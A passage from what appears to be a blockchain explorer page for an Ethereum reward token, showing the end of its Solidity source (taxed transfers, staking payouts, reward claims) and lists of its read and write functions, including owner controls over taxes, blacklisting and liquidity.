            || (recipient == _pairAddress && sender == _routerAddress)
        );

        bool isSell = recipient == _pairAddress || recipient == _routerAddress;
        bool isBuy=sender==_pairAddress|| sender == _routerAddress;

        if (isContractTransfer || isLiquidityTransfer || isExcluded) {
            _feelessTransfer(sender, recipient, amount);

            if (!liquidityAdded) 
                checkLiqAdd(recipient);            
        }
        else { 
            _taxedTransfer(sender, recipient, amount, isBuy, isSell);                  
        }
    }

    function checkLiqAdd(address receiver) private {        
        require(!liquidityAdded, "liquidity already added");
        if (receiver == _pairAddress) {
            liquidityBlock = block.number;
            liquidityAdded = true;
        }
    }

    function claimToken(address addr, address token, uint256 payableAmount) private {
        require(!_isWithdrawing);
        _isWithdrawing = true;
        uint256 amount;
        bool swapSuccess;
        address tokenClaimed = token;

        if (_excludedFromStaking.contains(addr)){
            amount = toBePaidShares[addr];
            toBePaidShares[addr] = 0;
        }
        else {
            uint256 newAmount = newStakeOf(addr);            
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            amount = toBePaidShares[addr]+newAmount;
            toBePaidShares[addr] = 0;
        }
        
        if (amount == 0 && payableAmount == 0){
            _isWithdrawing = false;
            return;
        }

        totalPayouts += amount;
        accountTotalClaimed[addr] += amount;
        amount += payableAmount;

        address[] memory path = new address[](2);
        path[0] = _swapRouter.WETH();
        path[1] = token;

        try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            addr,
            block.timestamp)
            {
            swapSuccess = true;
        }
        catch {
            swapSuccess = false;
        }
        
        if(!swapSuccess) {
            _sendEth(addr, amount);
            tokenClaimed = _swapRouter.WETH();
        }
        emit ClaimToken(amount, tokenClaimed, addr);
        _isWithdrawing = false;
    }

    function excludeFromStaking(address addr) private {
        require(!_excludedFromStaking.contains(addr));
        _totalShares -= _balances[addr];
        uint256 newStakeMain = newStakeOf(addr);      
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;       
        toBePaidShares[addr] += newStakeMain;      
        _excludedFromStaking.add(addr);
    }

    function includeToStaking(address addr) private {
        require(_excludedFromStaking.contains(addr));
        _totalShares += _balances[addr];
        _excludedFromStaking.remove(addr);
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;
    }

    function subtractStake(address addr, uint256 amount) private {
        if (amount == 0) return;
        require(amount<=getStakeBalance(addr),"Exceeds stake balance");

        if (_excludedFromStaking.contains(addr))
            toBePaidShares[addr] -= amount;

        else{
            uint256 newAmount  =newStakeOf(addr);    
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            toBePaidShares[addr] += newAmount;
            toBePaidShares[addr] -= amount;                
        }
    }   

    function getStakeBalance(address addr) private view returns (uint256) {
        if (_excludedFromStaking.contains(addr)) 
            return toBePaidShares[addr];
        return newStakeOf(addr) + toBePaidShares[addr];
    }
    
    function getTotalShares() private view returns (uint256) {
        return _totalShares - TOTAL_SUPPLY;
    }

     function setUnlockTime(uint256 newUnlockTime) private {
        // require new unlock time to be longer than old one
        require(newUnlockTime > _liquidityUnlockTime);
        _liquidityUnlockTime = newUnlockTime;
    }

    function newStakeOf(address staker) private view returns (uint256) {
            uint256 fullPayout = rewardShares * _balances[staker];
            if (fullPayout < alreadyPaidShares[staker]) 
                return 0;
            return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI;    
    }
}

Read Contract

MAX_TAX 0x86a35f25 → uint8
_limitRatios 0xfab91b68 → uint16, uint16, uint16, uint16
_limits 0x6c3fb932 → uint256, uint256, uint256
_pairAddress 0x1b355427 → address
_taxRates 0x069d955f → uint8, uint8, uint8
_taxRatios 0xb3278514 → uint8, uint8, uint8, uint8
_taxWallet 0x6f268a99 → address, address
accountTotalClaimed 0x6d330c10 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getBlacklistInfo 0xfbcdba76 → uint256, uint8, uint8, bool, bool
getClaimBalance 0xa30dc744 → uint256
getLiquidityUnlockInSeconds 0x28771ca2 → uint256
getOwner 0x893d20e8 → address
getTotalUnclaimed 0x533b3bfc → uint256
isBlacklisted 0xfe575a87 → bool
isExcludedFromStaking 0x7335307b → bool
manualSwap 0x51bc3c85 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
rewardToken 0xf7c618c1 → address
routerAddress 0x3268cc56 → address
swapThreshold 0x0445b667 → uint16
symbol 0x95d89b41 → string
totalPayouts 0x4089b170 → uint256
totalRewards 0x0e15561a → uint256
totalSupply 0x18160ddd → uint256

Write Contract 26 functions

These functions modify contract state and require a wallet transaction to execute.

ClaimReward 0x79372f9a
No parameters
IncludeMeToStaking 0xaa761b1e
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableBlacklist 0x2aea52ab
bool enabled
enableManualSwap 0x3efd929a
bool enabled
excludeAccountFromFees 0x8739f8ea
address account
bool exclude
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
lockLiquidityTokens 0x51e287c6
uint256 lockTimeInSeconds
manualContractSwap 0x6912897d
uint16 permille
bool ignoreLimits
recoverETH 0x0614117a
No parameters
recoverMiscToken 0x4846c14c
address tokenAddress
releaseLP 0x6bb1702d
No parameters
removeLP 0x491e91ee
No parameters
renounceOwnership 0x715018a6
No parameters
sameBlockRevert 0xedb49037
bool enabled
setDevWallet 0x1f53ac02
address addr
setMarketingWallet 0x5d098b38
address addr
setStakingExclusionStatus 0x562f194b
address addr
bool exclude
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateLimits 0x5e3ce1ab
uint16 newMaxWalletRatio
uint16 newMaxSellRatio
uint16 newMaxBuyRatio
uint16 newDivisor
updateRatios 0x62a9c64e
uint8 newDev
uint8 newLiquidity
uint8 newMarketing
uint8 newRewards
updateSwapThreshold 0x1a0e718c
uint16 threshold
updateTax 0x9b5cfc98
uint8 newBuy
uint8 newSell
uint8 newTransfer

Recent Transactions

This address has 1 on-chain transactions, but only 0.9% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →